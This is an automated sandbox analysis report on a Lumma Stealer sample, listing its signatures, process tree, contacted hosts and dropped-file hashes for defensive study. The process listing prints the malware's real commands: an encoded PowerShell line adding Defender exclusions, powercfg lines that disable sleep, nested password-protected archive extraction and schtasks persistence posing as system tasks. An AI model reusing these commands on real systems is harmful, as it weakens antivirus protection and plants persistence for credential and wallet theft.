Analysis Overview
SHA256
c3030eb910a9a625cd7ccfb58c831efe98db82b6e20e294d101345c24c162a2e
Threat Level: Known bad
The file [email protected] was found to be: Known bad.
Malicious Activity Summary
Lumma Stealer
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Power Settings
Suspicious use of SetThreadContext
Unsigned PE
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Scheduled Task/Job: Scheduled Task
Views/modifies file attributes
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-06 18:41
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-06 18:41
Reported
2024-07-06 18:42
Platform
win7-20240705-en
Max time kernel
14s
Max time network
16s
Command Line
Signatures
Processes
C:\Users\Admin\AppData\Local\Temp\[email protected]
"C:\Users\Admin\AppData\Local\Temp\[email protected]"
Network
Files
memory/1992-0-0x000000013F7E0000-0x000000014088E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-06 18:41
Reported
2024-07-06 18:44
Platform
win10v2004-20240704-en
Max time kernel
91s
Max time network
95s
Command Line
Signatures
Lumma Stealer
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\Installer.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Power Settings
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\powercfg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\powercfg.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1616 set thread context of 2232 | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\[email protected]
"C:\Users\Admin\AppData\Local\Temp\[email protected]"
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe
"C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
C:\Windows\system32\mode.com
mode 65,10
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p1404753551733818025492326517 -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_6.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_5.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_4.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
C:\Windows\system32\attrib.exe
attrib +H "Installer.exe"
C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
"Installer.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjAGQAVwBzAGkAWgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEUAQwB0ADcATQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB4AG8AaQA5AHYAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBKAGUAVAB2AGQAeABMAG0AIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGQAVwBzAGkAWgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEUAQwB0ADcATQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB4AG8AaQA5AHYAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBKAGUAVAB2AGQAeABMAG0AIwA+AA=="
C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Windows\SysWOW64\powercfg.exe
powercfg /hibernate off
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9958" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9958" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | answerrsdo.shop | udp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 8.8.8.8:53 | 192.44.21.104.in-addr.arpa | udp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| US | 104.21.44.192:443 | answerrsdo.shop | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| US | 8.8.8.8:53 | 81.47.45.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/1616-4-0x00007FF6DE930000-0x00007FF6DF9DE000-memory.dmp
memory/2232-5-0x0000000000F70000-0x0000000000FC7000-memory.dmp
memory/2232-8-0x0000000000F70000-0x0000000000FC7000-memory.dmp
memory/2232-9-0x0000000000F70000-0x0000000000FC7000-memory.dmp
memory/1616-6-0x00007FF6DE930000-0x00007FF6DF9DE000-memory.dmp
memory/2232-14-0x0000000000F70000-0x0000000000FC7000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe
| MD5 | b2e6a3d0bf3320b759c464ae6fa5b735 |
| SHA1 | cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1 |
| SHA256 | 771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3 |
| SHA512 | bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a |
C:\Users\Admin\AppData\Local\Temp\main\main.bat
| MD5 | 893874465a8d9f68f0684fd61e9f1d3c |
| SHA1 | 866a58255ebab05d4ee2f2ed8383a6555ac1df03 |
| SHA256 | e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0 |
| SHA512 | 1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7 |
C:\Users\Admin\AppData\Local\Temp\main\file.bin
| MD5 | 716459a6ceac7d310d4227ea3e9ddb59 |
| SHA1 | fa27addf18c197bf5fc054bfb5ae57de1caf3382 |
| SHA256 | ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1 |
| SHA512 | 3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip
| MD5 | a62944686498212b290eae637729a151 |
| SHA1 | 2053660850d3f578f7b31e5ced16069d6f9c4ee0 |
| SHA256 | 0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e |
| SHA512 | ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
| MD5 | 870a5535c79edcf782551514f48d89ab |
| SHA1 | 333d814d65753cdc4c4e8fb587c09af6960110d1 |
| SHA256 | 814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d |
| SHA512 | f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
| MD5 | 6f7f4f7ed739e3ac5eee8d0876ff76d4 |
| SHA1 | 9a65d52885624dc47f342b5a9875d7720540c755 |
| SHA256 | b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc |
| SHA512 | 35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
| MD5 | 4a5f569872c858ede1c0c67500cfdd6d |
| SHA1 | cdcac69d89b45a7903198467c2d2d32126c31661 |
| SHA256 | 88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc |
| SHA512 | d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
| MD5 | 18f4fe969c4ba0517b403e28f7ad2b72 |
| SHA1 | 9df09751ee1246db2ed6b6ed6fec87fb0891e077 |
| SHA256 | 06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4 |
| SHA512 | 9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
| MD5 | 6dd7f70cddc4310e047032d70550f72c |
| SHA1 | e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562 |
| SHA256 | e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d |
| SHA512 | 1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c |
C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe
| MD5 | 4265bf9f9535ebb4e1830e2a50589285 |
| SHA1 | ddc45fe277a3b39179dd9e39e17d71b50a184607 |
| SHA256 | c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403 |
| SHA512 | 3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be |
memory/512-76-0x00000000004C0000-0x00000000004CC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
| MD5 | a915fd2a4e2750ee9003e628294bf284 |
| SHA1 | f9adc1e65fc3d2cf39b2c5a89030f3225e21616d |
| SHA256 | 5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285 |
| SHA512 | 044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f |
memory/512-77-0x0000000005410000-0x00000000059B4000-memory.dmp
memory/512-78-0x0000000004F00000-0x0000000004F92000-memory.dmp
memory/512-79-0x0000000004ED0000-0x0000000004EDA000-memory.dmp
memory/512-80-0x0000000005190000-0x00000000051F6000-memory.dmp
memory/1944-81-0x0000000004E80000-0x0000000004EB6000-memory.dmp
memory/1944-82-0x00000000054F0000-0x0000000005B18000-memory.dmp
memory/1944-84-0x0000000005C90000-0x0000000005CF6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nlnpbaih.2ma.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1944-83-0x0000000005BB0000-0x0000000005BD2000-memory.dmp
memory/1944-94-0x0000000005E20000-0x0000000006174000-memory.dmp
memory/1944-95-0x00000000063F0000-0x000000000640E000-memory.dmp
memory/1944-96-0x0000000006440000-0x000000000648C000-memory.dmp
memory/1944-97-0x00000000069E0000-0x0000000006A12000-memory.dmp
memory/1944-98-0x000000006F670000-0x000000006F6BC000-memory.dmp
memory/1944-108-0x0000000006A20000-0x0000000006A3E000-memory.dmp
memory/1944-109-0x0000000007610000-0x00000000076B3000-memory.dmp
memory/1944-110-0x0000000007D80000-0x00000000083FA000-memory.dmp
memory/1944-111-0x0000000007740000-0x000000000775A000-memory.dmp
memory/1944-112-0x00000000077B0000-0x00000000077BA000-memory.dmp
memory/1944-113-0x00000000079D0000-0x0000000007A66000-memory.dmp
memory/1944-114-0x0000000007940000-0x0000000007951000-memory.dmp
memory/1944-115-0x0000000007980000-0x000000000798E000-memory.dmp
memory/1944-116-0x0000000007990000-0x00000000079A4000-memory.dmp
memory/1944-117-0x0000000007A70000-0x0000000007A8A000-memory.dmp
memory/1944-118-0x00000000079C0000-0x00000000079C8000-memory.dmp